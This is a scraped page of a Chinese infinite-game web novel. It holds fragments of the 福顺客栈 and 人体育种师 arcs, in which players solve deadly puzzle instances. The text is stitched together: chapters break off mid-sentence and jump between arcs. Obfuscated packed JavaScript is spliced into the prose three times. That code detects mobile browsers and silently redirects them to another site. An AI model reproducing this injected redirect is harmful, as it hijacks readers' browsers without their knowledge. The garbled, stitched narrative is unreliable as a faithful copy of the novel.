熟悉的电子音响起,她被这突如其来的声音吓了一跳,警觉地向四周看去。 ...... 几小时前,福顺客栈内 蔚摇被吸进泥潭后,客栈内形式瞬间逆转。 既然证明神像恢复了效力,眼下,唯一有能力破坏和修补神像的人又已经被吞噬,福老板瞬间生龙活虎了起来。 仗着神像庇护,加上之前已经暴露了自己并非善者的事实,福老板懒得维持表面的和善,直接抬眼,阴恻恻地看向贺唐二人。 “二位,走好不送。” 他将 6. 福顺客栈(六) 《第一道具批发商[无限]》全本免费阅读 “这个副本比我想象的还要诡异。”唐向澄率先打破了沉默,“按资历最老的那帮玩家的说法,福顺客栈是自里世界诞生就存在了。” 他薅了一把乱糟糟的头发,有些烦躁:“里世界副本一共就五个级别,从一星一直到五星,福顺客栈标的是二星,也就是说,它只是中等偏下的难度,但它却是三星以下唯一一个没有通关记录的副本。” 这么看,傻子都知道这副本有鬼。因为没人通关,这个副本的固定产出道具也不为人所知,但没人愿意拿自己的命去赌一个虚无的奖励。 少通关一个副本又没什么大不了的。 “因为一直没人参加,这个副本就逐渐被玩家遗忘了。”贺徉突然开口,接着唐向澄的话说道,“但是半个月前,系统突然发布了一则悬赏,也正是这个悬赏把它重新拉回了大众视野: 第一个通关‘福顺客栈’的玩家,可以获得一条线索。” “——一条关于如何永远离开里世界的线索。” 邓茂安和小熊呼吸一滞。 这个奖励诱惑力实在是太大了。 贺徉此时已经完全陷入了回忆:“悬赏刚出来的那两天,整个里世界都乱套了。” “有人沉溺于游戏里高人一等的快感,害怕底层玩家找到机会离开,极力反对;有人在现实世界身败名裂,罪名加身,不愿离开这个温柔乡:但里世界里,更多的还是在游戏里挣扎的普通玩家。” “他们精打细算,不愿多花一点积分,没有异能,没有道具,每一场游戏都在用命去玩。”贺徉眼神飘向窗外,喃喃道,“他们没有从里世界里得到任何好处,只获得了无尽的痛苦,迫不及待地想离开这个鬼地方。” "人与人之间的追求是不可能相同的。这些人在论坛里展开了持续地骂战,甚至有的人还在现实世界遭受了敌对者的攻击。不过,‘自由人’激起的水花还是有限,各大公会的举动才称得上真正的‘大动作’。他们开始组织人手下副本,但都没有结果。" 不管是打算留下还是离开,把线索掌握在自己手里总是对的。各大玩家公会在悬赏出来的第一时间组织起敢死队,按各会长商量出来的顺序分批进入游戏。 全军覆没。 那段时间,贺徉每天都会混在副本门口的围观人群里,透过那些看热闹人的脑袋,看一个个名字耳熟能详的老玩家全副武装地进门,却没有一个人从门里走出来。 他倒没觉得失望。人是适应性很强的生物,他的心态从崩溃转变为现在的麻木只花了一年时间,能出去最好,不出去也行,都习惯了。 但事情发展往往超乎预料。 第一批老玩家队伍覆灭后,各公会高层迅速调整了方案。他们为保住有生力量,放弃组织尖刀队,开始从中层玩家中抽人,试图以量取胜,靠个别人的运气通关。 和他同时间进入里世界的妹妹意外被选中了。 她没法拒绝,兄妹俩本就是依附于大公会生存的。公会在平时给成员以庇护,成员必须在必要时回报公会。 妹妹出征的那一天,里世界的虚拟天气随机到了大晴天。阳光很好,妹妹胸前的贝壳吊坠熠熠生辉,晃得他眼睛不停分泌泪水。这是贺徉第一次站在围观人群最前面,站在这个往日根本抢不到的、完美的观赏位置。 这也是他最后一次看见妹妹。 一个中庸玩家的死在里世界算不得什么大事,妹妹变成了其他人口中的“又一批有去无回的玩家”,成为福顺客栈传说的一部分。但除了他,没人知晓那群人里有个姑娘叫贺徜。 一般人在副本里死亡后,现实中的身体会各种奇怪的理由再死一次。但不知道是不是福顺客栈的副本特性,所有参加过的玩家在现实世界都是“失踪”的状态。 他连给妹妹收尸都做不到。 贺徉直接自暴自弃,找上了接了私活,打算一人勇闯副本的同公会好友唐向澄,打算亲自会一会这个狗屁副本。本以为两人凑不齐要求人数开不了,不料系统居然拉了四个新人进来,硬是凑够了玩家数量。 只是苦了这几个新人。新人第一个本一般都是一星的,她们一上来遇到二星就算了,甚至还是无解的二星副本。 贺徉苦笑道:“我本来都做好死在这里的打算了,偏偏把你们给牵扯进来,放心,我一定把你们安全送出去。” 福老板还在楼上,他们索性在原地席地而坐,复盘现在已有的线索。 邓茂安竹筒倒豆子一样把整个福顺客栈的信息和盘托出。 “这客栈的掌柜看起来怪怪的,跑堂小哥倒给我感觉像正常人,他的话应该比较可信。” “他说,每隔一段时间就会有像我们一样的六个人入住旅店,不过都住不满三天就走了,走的时候悄无声息。” 她看向贺徉:“所以,那些人都是玩家,走得无声息是因为通关失败死亡了吗?” 贺徉点点头。 邓茂安继续说:“他还说,每次旅客走后,都会有一只商队赶来住店。这商队的人来时全都把脸裹得严严实实,看不清长相,但走的时候脸上就毫无遮挡,慈眉善目的。” “他喜欢商队,不喜欢我们一样的旅人,因为商队会自己叠被子,床铺什么时候上去都是干净整洁的。反观我们这些人,屋子里满是不知从哪蹭来的黑色泥水,脏的要死。” 邓茂安补充道:“我也是从这里开始觉得跑堂小哥值得信任的。他对房间里的黑泥并不熟悉,不像老板他们习以为常,应该属于‘路人npc’,不会故意提供误导我们的信息。” 唐向澄顺着她的思路,将他们在楼上的发现告诉了大家:“我们也发现了,那些空房间里遍布灰尘,床底下却是干净的。按理说,商队是金主,怎么也不能让他们住在这么脏的房间里。” “除非他们不是人,也不睡在床上。” “这一点基本能确认。”贺徉赞同道,“客栈前有这么一道河沟,商队那么多商品怎么运得过来?肯定只是是个幌子。” “唯一的问题是,‘死亡真相’到底怎么定义,我们给的答卷要具体到什么程度才能算是完成任务?” 众人又一次陷入了沉默。 贺徉摆摆手,让大家放宽心。他看了眼窗外,说道:“先讨论到这,快到晚餐时间了,等会儿再说。” 这间客栈基本符合过去的作息,一日提供两餐。现在太阳西斜,估计过一会儿福老板就要下来做饭了。 刚撕破脸皮,晚饭桌上端出什么奇形怪状的东西他都不会感到奇怪。 ...... 邪神空间 蔚摇听到电子音后下意识握紧了手中的刀,后知后觉地发现这个声音是从她脑中传来的。 那个声音还在继续。 【叮咚!】 【已触发支线任务:永恒的晚安】 【永恒的晚安:无数人沉沉睡去,换来了神永恒的好梦。请玩家在主线 7. 福顺客栈(七) 《第一道具批发商[无限]》全本免费阅读 蔚摇晃了晃一团浆糊的脑袋,看向自己的双手。声音结束的那一刻,一股奇怪的暖流突然涌上她的指尖,眼前这双手明明已经和她朝夕相伴了24年,现在却令她感到无比陌生。 她试探性的活动了一下手腕,暖意逐渐褪去,但好像有些什么东西留了下来。 算了,不管它。当务之急是离开这个鬼地方。 蔚摇目测了一下各个裂隙和她之间的距离,挑了一个近的走过去。 离得越近,光线越刺眼。蔚摇站在裂隙处边缘,与外界只有一步之遥。 她停下了脚步,转身看向后方。 获得所谓的“技能”后,她对灵魂的感知力有了极大的提升。她能感觉到身后的空间里还存在着一个完整的灵魂。 亡魂已经全部回到了结晶里,而且它们都残缺不全;邪神的死又是系统亲自认定的,不可能出错。 那剩下的究竟是谁? 蔚摇迈开步子,再一次走向深处。 …… 空间中心 蔚摇看见了一个有些熟悉的身影。 那个身影一动不动,抱膝坐在一片空洞的黑暗里。空间碎片零散地飘落在他的头发上,缓缓消散。 他看起来对周围的变化有些迷茫。 蔚摇在他面前停住了脚步,她弯下腰,拨开男人眼前的长发。 她对上了男人金色的眼眸。 是那个帮她从福老板手里逃出来的男人。 蔚摇看着对方明显不是实体的身体,心中微动。 她正好还没试过新技能。 她问道:“怎么不走?” 虽然不知道他是谁,但凭他当时带着自己穿梭的能力,去别的地方应该很轻松。 男人眼底如湖水般平静。他率先移开视线,看向别处。 “走不了。” 这是蔚摇第一次听见男子说话,她居然从他平淡的语气中听出了几分委屈。蔚摇有些疑惑:“怎么会走不了?这都快塌完了。” 男人低垂下头,淡淡道:“这里可以走,出不去客栈。” 蔚摇勉强弄懂他的意思。他可以在副本内四处穿梭,却不能离开这个地方。 这算什么,npc限制? 她试探性地开口:“请问,你是这个客栈的员工吗?” 男人直视她的眼睛,摇了摇头:“我不记得了。” 失忆?失忆好啊,容易忽悠。 蔚摇接着问:“你想从这个客栈里出去吗?” 男人盯了她好久,终于点了点头。那就是说,问题的答案是肯定。 看起来脑子不太灵光。 蔚摇直起身,笑眯眯地朝他伸出了手。 “我可以带你出去。”她承诺道,“如果你愿意,我还可以帮你塑造一个躯壳,让你拥有真正的身体。你在客栈里游荡,应该看到过我制造东西的水平。” 她声音里带着让人信服的力量。除却把对方当试验品的想法,蔚摇还直觉男人身上有问题。 他的灵魂甚至比刚才的邪神还要强,这么危险的东西,放他在副本里不知道会添什么乱,还是放在身边比较保险 这回男人动作倒是不慢了。他在听到蔚摇承诺带他出去的那一刻火速把手放到她手心里,速度之快,让蔚摇怀疑自己是不是被套路了。 她轻轻握住对方的手,手一翻,男人就消失在她眼前。 她手心里只剩一枚金色的纽扣。 这就是所谓的灵魂藏品吗? 蔚摇好奇地翻动着这枚纽扣,随意穿了根线把它挂在脖子上。 男人的身形在她身边显露,看起来温顺又乖巧。 “我没事,还一样可以活动。”他检查了下自己的情况,简单和蔚摇汇报,“就是不能离你离得太远。” 蔚摇点点头,在心中暗暗记下数据,再次确认一遍这个空间已经没有任何东西,毫不犹豫地踩进了裂隙外的光亮中。 …… 客栈客堂 玩家四人坐在餐桌前,面露难色。 福老板端上来三菜一汤,笑盈盈地做了个请的手势。 每一道菜里都蠕动着头发一样的细丝,浸泡在暗红色的汤汁里,搅得菜汤四处迸溅。大家相信自己绝对会在吃下饭的那一刻被搅碎内脏。 但福老板可不愿放过这些人。 他背后的台子上摆着从楼上运下来的神像,有这个撑腰,福老板假惺惺道:“为什么不吃,是不喜欢吗?” 唐向澄试图讨价还价:“别说吃饭的事儿,你承诺蔚摇的那个情报呢?” “蔚摇,什么蔚摇?”福老板装傻充愣,“哦,你说那个死人啊,她怎么了?” 唐向澄气得牙痒痒。没办法,游戏对npc的限制也仅限做交易的双方,他们确实没法强制对方履行。 福老板有些不耐烦了,他用指节敲了敲桌面:“真不吃?不吃我撤了,接下来几天都是这个饭菜。” 邓茂安的肚子此时已经饿得咕咕叫了,但她到死都不会吃一口这种东西。 不知是不是饿过头了,她甚至感觉自己出现了幻听。 好像有什么……开裂的声音? 不是幻听。她很快就发现剩下三人的目光也转移了过来,紧接着,福老板背后的神像出现了开裂的迹象。 先是填补过的地方裂开一条缝,紧接着密密麻麻的裂纹从这条缝上蔓延开来,像是植物肆意生长的根,爬满了整个神像。 福老板僵硬地转身,不可置信地看向那个已经看不清原貌的“东西”。 咔的一声,像是终于承受不住内部的压力,整尊神像哗地破碎,散落一地,看起来与打碎的碗筷无异。 边上,像是有人用大手凭空划开一道裂隙,客堂的空间被整个撕裂开来,一只脚从里面伸出落在地上。 紧接着,蔚摇的脸露了出来。狰狞交错的伤口依旧在往下渗血,蔚摇平淡的视线扫来,在福老板看来无异于冤魂索命。 “听说,有人说我死了?” 蔚摇踏出了另一只脚,看了眼抖得像筛糠一样的福老板,扬眉道:“借过。” 【恭喜玩家蔚摇完成福顺客栈支线任务】 系统的冷冰冰的播报音在狭小的空间里回荡。 邓茂安张大嘴,颤颤巍巍地指向蔚摇:“你的脸……” 蔚摇:“……” 完蛋,空间里遍地都是这样的脸,还以为大家都长这样。 她问贺徉:“这种伤可以恢复吗?” 贺徉才反应过来:“哦哦,可以的,通关后副本内受到的伤会自动恢复。” 蔚摇放心了。她像赶狗一样驱赶福老板:“愣着干嘛,做饭去,你不会就想给我吃这个?” 福老板站着不动,他见鬼一样你你你了半天,哆哆嗦嗦地问:“你怎么还活着!” 蔚摇低头检查饭菜,轻描淡写道:“把那个邪神杀了,就出来了。” 这事是能这么轻飘飘说出来的吗! 福老板欲哭无泪,他绕过地上的碎片,火速钻回厨房。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12277032|128990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这场景让蔚摇莫名想到重症监护室里插满管的病人。 丽娜连尖叫的力气都没有了,她摇摇晃晃地扑了上去,却被花藤拦住了去路。 “她对你那么好!你怎么,怎么能这样!”见碰不到挚友的身子,她声泪俱下,红着的眼直勾勾盯着弗洛拉那与伊莲娜有几分相像的脸。 弗洛拉低垂着头。 “我那是对她好。” 她安静地将土块放了回去,这下什么都看不见了,也彻底断了丽娜最后一点念想。 “这个世界不会再有未来了。” 她呐呐自语。 “这片土地不会再有植被生长,花钱去向其他领土的人购买粮食也不是长久之计。” “因为很快‘瘟疫’就会蔓延到其他地方,所有人都会死的。” “但伊莲娜不会。” 她指了指自己的脑袋:"她的思想与我同在,她还能通过我的双眼观察世界,接住我的双腿丈量土地。" “她会是唯一一个“活下来”的人类。” ...... “套不出什么话了,怎么办?” 天已经黑了,小镇已然摧毁,但众人又怕半夜弗洛拉搞出什么幺蛾子,索性睡在野外,在对方家外围了一个圈。 纪本深把手垫在头下,有些郁闷地望着天。 “副本时间快过了,线索也一团乱骂似的理不清,接下来要怎么办?” 蔚摇翻了个身,背对着众人,懒懒开口:“比起通关,不如先想想你们怎么活下去。” “负责人们基本废了,传统通关路线肯定是不行了,没人判定你们种没种满地——那你们还打算养着脖子后面那株花吗?” “它看起来会吸收你们的寿命哦。” 姜烟时猛地坐起来:“对,既然没用了,我觉得还是得直接拔除它。” 她转头看向蔚摇 蔚摇对上了她的眼睛,点点头,从系统背包里掏出了斧头:“帮你砍掉?” 众人看着斧头上闪烁的寒光狠狠打了个哆嗦。 不是,聊啥了,怎么进度一下子种没快! 姜烟时也不扭捏,直接转过身,撸起头发:“来!” 蔚摇手起刀落,精准贴着皮肤砍下那已经成形的花。姜烟时将它一把接住,伸出另一只手摸了摸自己骤然减轻压力的脖子:“爽了!” "留在皮肤里的这部分怎么办呢?"纪本深抬头看了一眼姜烟时,确认对方脖子上还有东西。 “不用管它,失去花朵,根部过两天自己会脱落的。” 弗洛拉突然出声,引得众人纷纷回头看。 这是她自下午闭嘴以来说得第一句话。 弗洛拉说完话就闭上了眼,好像自己从未醒过。 姜烟时此时突然哎了一声,又把众人目光引了回去:“不对啊,这玩意居然已经长出种子来了。” 姜烟时手里捧着几颗嫩嫩的花种,表皮青涩,看起来还没发育完全。 月光很暗,但基本能满足视线需求。 靠得近的纪本深在看清东西后默默后退了两步。 那些种子居然长着五官,眼睛还扑闪扑闪的。 ——那明明白白就是姜烟时的脸。 26. 人体育种师(十五) 在大家的强烈要求下,蔚摇加班加点处理掉了所有人脖子上的玫瑰。 不出意料,花里藏的种子都长着一张和主人一模一样的脸。 “你嘴真是开了光了。”姜烟时朝纪本深投去一个赞许的眼神,“刚说没线索,线索就送上门来了。” 纪本深摆摆手:“一般一般。” 张孔没忍住打断了他们的商业互吹:“先不说这个,这种子究竟是怎么回事?” “盘一下现有线索吧。”蔚摇坐直了身,敲了敲地面。 纪本深听闻赶紧掏出了笔记本。 “种子是由人体孕育的,且播种后要同步把育种人埋进土里,会有许多根连通人体和花朵。” 纪本深刷刷刷地记下来,补充道:“当时我们以为人就是作为中转站运行的,但这个说法站不住脚。” “对。”蔚摇点点头,“加上今天看到玫瑰人们被同化,潘西死后的状态还有可以确认的弗洛拉是植物出身几件事。” “基本可以确认,所谓的育种,不过是让玫瑰吸收育种人的生命,将对方转化为自己的一部分。” “这算什么,植物......起义?”张孔有些犹豫地开口。 植物取代人类,怎么听怎么离谱。 “也就是说,如果我按部就班育种,然后和种子一起被埋进土里,最后会有一枝玫瑰变成我的样子,继承我的记忆,但她不是我?”姜烟时有点被绕晕了,艰难地进行了总结。 “不一定是一枝,可能是一群。”蔚摇贴心地补充。 纪本深脑海中闪过几百个姜烟时挤在一起砍人的样子,忍不住打了个寒颤。 “就是不知道这些玫瑰的目的到底是啥。”他转移了话题,“取代人类,争夺世界霸权?还是追求‘人权’,觉得植物受人类压迫过深,想要奋起反抗?” “是后者。”蔚摇肯定道。 纪本深吐槽的话突然卡在了喉咙里。他额了一声,和众人一起转过视线:“我只是口嗨一下,随便说说的。你是咋确定的?” 蔚摇朝弗洛拉的方向随意摆了摆手:“她告诉我的。” “刚刚你在说第二点的时候,她有个明显握拳的动作,头也微微发颤。”蔚摇转过头,盯着弗洛拉低垂着的头,“她在紧张。” “紧张就说明被你说中了。” 纪本深顿了一下,默默在笔记本上另起一页,将蔚摇说的话一字不落地记下来。 “植物追求人权?”他边记边吐槽道,“放别的副本我还能理解——但这里是中世纪背景啊!普通民众都保障不了了自己的生活品质,所有人都像狗一样被领主压榨,你一枝娇养的玫瑰有啥不服的喔。” 蔚摇依旧盯着弗洛拉的脸,分析对方的肢体反应,脸色兀地一变:“——怎么这段也是真的?” 纪本深迷茫地抬头: “啊?” 蔚摇撑地站起来,走到弗洛拉身边,抬头望着她。 “我真是看不懂你了。” “想帮植物争取人权是真,觉得不应该因为无权而不服也是真——你到底是站哪边的?” 弗洛拉还是像死人一样一动不动,要不是对方脑袋还在微微颤抖,蔚摇真要被骗过去了。 她叹了一口气。 “大家睡吧,明天再去花田里看看。” 弗洛拉肯定在计划些什么,但她不希望玩家们参与进来。 只能明天再去搜集些资料,最好能猜到对方的具体打算,才好针对性提供服务。 ...... 没有玫瑰吸收营养后的人终于不成天昏昏欲睡了。 ——蔚摇第二天居然是最后一个醒的。 她一睁眼就看见焦急推搡她的姜烟时,对方见她醒来,明显松了一口气。 “姐,弗洛拉不见了!” 蔚摇的瞌睡一下子消失了。 ...... “我是最后一批守夜的。”张孔主动举手,“纪少换班给的我,天微发白,应该是四点左右,那时弗洛拉还在。” “嗯,继续。”蔚摇正拿铲子松动弗洛拉呆过地方的泥土,示意张孔接着说,“然后你就睡着了?” 张孔的脸色很难看:“......没有睡着,是一瞬间昏迷过去的。” 蔚摇没什么意外的点点头:“纪本深,你守夜的时候有什么异常吗?” “有一点。”纪本深从口袋里掏出一个罐子,绕场走了一圈,向大家展示了里面的东西,“后半夜有听到一阵嗡嗡响,发现是一群翅膀透明的小虫子。好不容易抓到一只,不知道是不是你们之前说的那种。”他把手举到了眼镜面前。 眼镜接过虫子,仔细端详一番,确认道:“是这种,和我之前看到的一样。” 他把虫子交给了蔚摇。 蔚摇收下虫子:“除此之外,还有别的什么异常吗?弗洛拉没什么动作吗?” “虫子飞过的时候,好像听到她在呢喃。”纪本深语气里带着犹豫,“但飞虫扇翅的声音太大了,我不确定是不是幻听。” 蔚摇将这件事记在心里,转头嘱咐张孔道:“你腿脚快,去石屋找那群营养师去,问他们谁知道这种虫子。” 小镇被毁,玩家又要守着弗洛拉,没空回去睡觉,那帮流离失所的营养师们昨晚便高调入驻了空荡荡的石屋。 张孔点头,迅速消失在了路的尽头。 他带着人回来时,蔚摇一众人正好将那块地挖透了。 地底下只有一个空洞,其中的伊莲娜不见了踪影。 “好嘛,结果连她也被带走了。”姜烟时灰头土脸地蹲在坑边,揪着自己的头发,“这么大个东西,想搬还不容易呢!” 她看见气喘吁吁跑来的张孔,站起了身:“这么快就回来了,找到人了?” 张孔大口喘气,点了点头。 那个被他背过来的女生赶忙跳下,眼神在人群中搜索了一圈,果断奔向了蔚摇。 “我认识这种虫子。” 她急急忙忙地将自己所知倾囊相授:“虽然不知道它具体叫什么,但我们那里一般称它为‘贵族蜂’。” “因为这种蜜蜂别的花蜜都不采,被培养地专采昂贵的装饰花。这种花纹的贵族蜂应该只采玫瑰一种,嘴巴挑的很。” “为啥蜜蜂还要分个高低贵贱。”姜烟时忍不住吐槽,“能传粉,能采蜜——不就够了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12284219|128990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 那女生摇摇头:“贵族们可重视血脉的纯净性了,不论是人还是物。” “普通蜜蜂有飞出去找其他花的可能性,万一沾了什么野花的粉回来,他们精心培育的纯种玫瑰就会被毁了。只有这种专一的传粉虫才能保证种族的纯净性。” “种族纯净性吗......”蔚摇若有所思,晃了晃手中的罐子。 里面的小飞虫艰难地扑腾着,罐子底部还留下了一点粉状物质。 “也就是说,弗洛拉她们为了保证只有玫瑰一种植物活下来,特地只留了这一种虫子于世吗?” 蔚摇嗤笑一声:“霍,那她就不是在为植物争取人权了。” “只是为玫瑰一种生物争取权力,这和独裁又有什么区别。” ...... 地窖里 弗洛拉抬起沉重的眼皮,看面前端坐着的绅士依然没有走的架势,又懒洋洋地闭了回去。 “醒了就抬头。” 面前的男子翘着二郎腿,翻动手中的书到下一页:“别装傻,我感觉得到。” 弗洛拉叹了口气,活动了下脖子,抬眼看向前方。 那位绅士一身华服,身上夸张地挂满了宝石饰品,手中的手杖也添置了许多不必要的装饰。金线沿着衣摆密匝匝地锈了一圈又一圈,连衣服的底色都有些让人看不清了。 是那种一看就是暴发户的穿搭。 “好歹是个领主,穿这么俗,没人怀疑你身份?” “什么叫俗?”对方皮笑肉不笑,眼里闪过一丝轻快,“不会有人怀疑的......庄园里除了干脏活的下人,剩下基本都被我换成自己人了。” 弗洛拉皱了皱眉:“贝尔,你太心急了。” “是你太慢了。” 被称作贝尔的男人站了起来,绕着弗洛拉走了一圈,最终停在边上被包裹得好好的伊莲娜身旁:“我已经完全吸收了那个傻子领主的精华,继承了他的领地,仆人,甚至是记忆和灵魂。” “现在的我已经能脱离那具丑陋的躯壳独立行走了,为什么你还不行呢。” 弗洛拉猛地收起一条花藤,狠狠抽向了贝尔的脸。 对方早有预料地躲开,但还是被冲击力抵到了背后的墙上。 他看着面前严阵以待的弗洛拉笑出了声。 “怎么回事,一年不见了,脾气还是那么冲。” “脾气冲一点没关系,毕竟你是母株嘛,我很乐意包容你。”他话锋一转,脸骤然阴沉下来,“但你最近是怎么回事?” 弗洛拉一副油盐不进的样子:“什么最近?” “那群‘玩家’,你想借助他们干什么?”贝尔眯眼,关注着弗洛拉的表情变化,“我们不是说好了吗......随便编点规则把他们弄死,让后关起门来过好我们的‘小日子’。” 弗洛拉抬头,眼神冷冷地扫向对方:“我们当初答应‘系统’时明明陈诺过不会改变世界格局,但你看看自己,这一年来利用系统办了多少缺德事儿了!” “但系统没反对啊。”男人无辜地摊了摊手。 “而且我觉得,那个叫‘系统’的,好像比我更希望玩家死哦。” 27. 人体育种师(十六) “所以目前最重要的是把弗洛拉找着吧。” 张孔打断了众人关于虫子和种族的讨论:“我们毁掉小镇,控制负责人的目的不就是用别的方法通关游戏吗,我们既然站队了弗洛拉,应该先确认对方的安全吧。” “我们站队弗洛拉?我们不是对立的吗?”纪本深懵懵地看向周围,却见蔚摇等人全在点头,“只有我一个人不知道吗!” “弗洛拉确实像个谜语人一样啥也不说,但很明显一直在帮我们啊。”姜烟时有些鄙夷地望了他一眼,“只是我们不知道她最终目的究竟是什么,她好像也不希望我们参与进去,才导致最后双方进度都停滞了。” 纪本深还是有些不解:“既然和我们是一边的,那她为什么要跑啊?” “谁说是她自己跑了。”蔚摇冲纪本深身上弹了块儿石子,“弗洛拉极有可能是被别人掠走了。” 纪本深吃痛地拍了拍自己被打中的的胳膊。 “她那么强,谁能掠走她啊。” “按我们听过的故事来讲,三个可能性,巫师,领主,或是领主夫人。” ...... 石屋房间 终于结束了只能站着睡觉的痛苦时光,丽娜直接在床上昏迷了十几个小时。 蔚摇赶来拍她时她连眼睛都睁不开,迷迷糊糊又翻过身睡着了。 姜烟时掏出了锣鼓在边上敲打起来,但受害者只有同一个房间的队友们,他们呲牙咧嘴地捂着耳朵,想叫醒的正主却依旧躺在床上不省人事。 “不用了不用了,辛苦你了”蔚摇赶紧制止了对方,总感觉再让姜烟时敲下去能把墙都给震塌,“我来叫。” 她凑近丽娜的脑袋,温柔地拨开她耳边的碎发,幽幽开口;“伊莲娜不见了。” 丽娜猛地坐直了身。 ...... “稍微清醒了一点了吗?” 蔚摇接过被喝空的杯子,坐在床沿上开口:“你回忆回忆,当时营养师招募时具体是什么情况。” 丽娜皱紧了眉头:“......我想想。” 她从伊莲娜捡到种子开始说起,那花是如何被对方娇养,伊莲娜又是如何被花所吸引,每天除了种地干活就是陪在花边上看书。 “我好几次试图弄死那朵花,但都被伊莲娜阻止了。”她有些惆怅地叹了口气,“如果当时我机灵一点真的把它弄死,现在这一切是不是都不会发生了。” 蔚摇沉吟片刻,打断了她:“两个问题。” “第一,你说伊莲娜会呆在花边上看书——她识字?” 众人纷纷看向丽娜,他们有着一样的问题。 不是他们有偏见,但是中世纪时期的农家少女识字多少有点离谱吧! 丽娜点头:“她确实识字,我能写信也是她教的我。但她词汇量更大,附近好多农户有阅读的需求都会来找她,她会适当收取一点费用——这其实也是她最主要的生活来源。” “我不清楚她是从哪儿学会的拼读,毕竟伊莲娜不是在我们村落出生的,她四岁才和妈妈一起搬了过来。不过她妈没过几年就死了,后来她就一直一个人生活。” 丽娜无意识地绞着手指:“不过大家都在传......说伊莲娜是某个贵族的私生女。” 蔚摇盯着纪本深记下刚刚的谈话,头也不抬地继续问道:“第二个问题,你是怎么试图弄死那朵花的?” 丽娜眼神飘忽不定:“......这也要问嘛。” “毕竟是和弗洛拉过去有关的事,最好多了解一点。” “......也就浇大量的水,铲人家的根,还有试图踩它的茎......” 姜烟时没忍住笑出了声 蔚摇也觉得好笑,但还是板着脸点了点头:“行,过去我知道了,植物瘟疫之后的事呢?” “地里种不出粮食,植被全部枯死,动物要么饿死,要么被快饿死的人弄死。村里死了好多人,后来突然有一天有人在村门口贴了张纸,然后就在一旁等着,谁问也不说话。”丽娜用力回想,“只有伊莲娜识字,她看完后告诉我们有人在招募养花人,包吃包住还给钱,但只收20岁以下的人。” “村里符合条件的年轻人只有我们两个,知道有这好事,我直接火速收拾了铺盖,伊莲娜就只把那枝花挖出来带着。我们当天就坐上了贴公告人的马车,走了一天一夜到了这,各自分了房间后就再也没有见过了。” “你当时不觉得奇怪吗?”纪本深忍不住问:“有人来一个明显不识字的村贴公告?明明他人就在村门口,为什么不直接宣讲呢?” “不是,我都快饿死了欸,哪还有力气考虑这么多。”丽娜翻了个白眼,“不来这儿说不定第二天就死了,来这至少还有一点活下去的希望。” “这么看来,那个公告完全就是冲着伊莲娜来的。”蔚摇扯过纪本深的本子写起来,“领主那边有意在找20岁以下并且识字的农家女生。” “还有一个问题,你说村里的人都快饿死了——你们那儿没有接到育种师的招募通知吗?” “没有。”丽娜疯狂摇头,“我们在这呆了三个月后才听到巫师让领主找育种师的消息,就这还是伊莲娜——额,弗洛拉传信告诉我的。要是早知道这件事,村里肯定会有很多青壮年争着来的。” 蔚摇点头,啪一下合上了笔记本:“现在一切都很明确了。” 纪本深和姜烟时一瞬间坐直了身,丽娜转过头来,配合露出了疑惑的神情。 蔚摇掰着手指解释。 “首先能肯定掠走弗洛拉的是领主。巫师和育种师的事远在伊莲娜离家之后,时间对不上;不是领主夫人的理由同上。” “其次,我大概猜到弗洛拉被藏在哪里了。” ...... 地窖 弗洛拉看着面前一脸笑意的男子,没忍住笑出了声。 “长得越来越像人,内在真是依旧野蛮呢。” 贝尔抬了抬眼皮,有些不耐烦道:“别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12287477|128990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说我,你到底打算什么时候彻底吸干伊莲娜的灵魂?” “虽然你是母株不能完全脱离土地,但至少不用再和一个人类共享营养。” “我不会这么做的,这一点已经强调过很多遍了。”弗洛拉依旧表情淡漠。 贝尔见威胁不了对方,索性打起了感情牌,他满脸真挚:“弗洛拉,你还记得我们第一次相遇吗。” “当时的你只是微微诞生了灵智,同样还是玫瑰状态的我接受了‘系统’的指引,在茫茫精神海洋里链接上了你的思维。” “是我启发了你的全部灵智,是我带给了你人类的思想,让你脱离了蒙昧,才能拥有现在这种一人之下万人之上的地位,我们是同一个种族的,我们才应该互相帮助,而不是保护她一个异族人!” “启发我灵智的是伊莲娜,不是你。”弗洛拉理智地一点点反驳,“是我帮助你从吸收了领主的灵魂,取代了他的位置,不然你就只是一朵愤世嫉俗的玫瑰,一直插在地里,除了愤怒什么也做不了,直到有人把你摘下,终结你的性命。” “贝尔,没有我你就是个废物。我不欠你。” 贝尔怒极反笑;“我劝你别再嘴硬了。看看你做的这些蠢事吧,杀害同类,帮助异族,哪怕贵为母株,我也依旧有惩罚你的权力。” 弗洛拉正眼都不给他一个:“惩罚?来呗。” 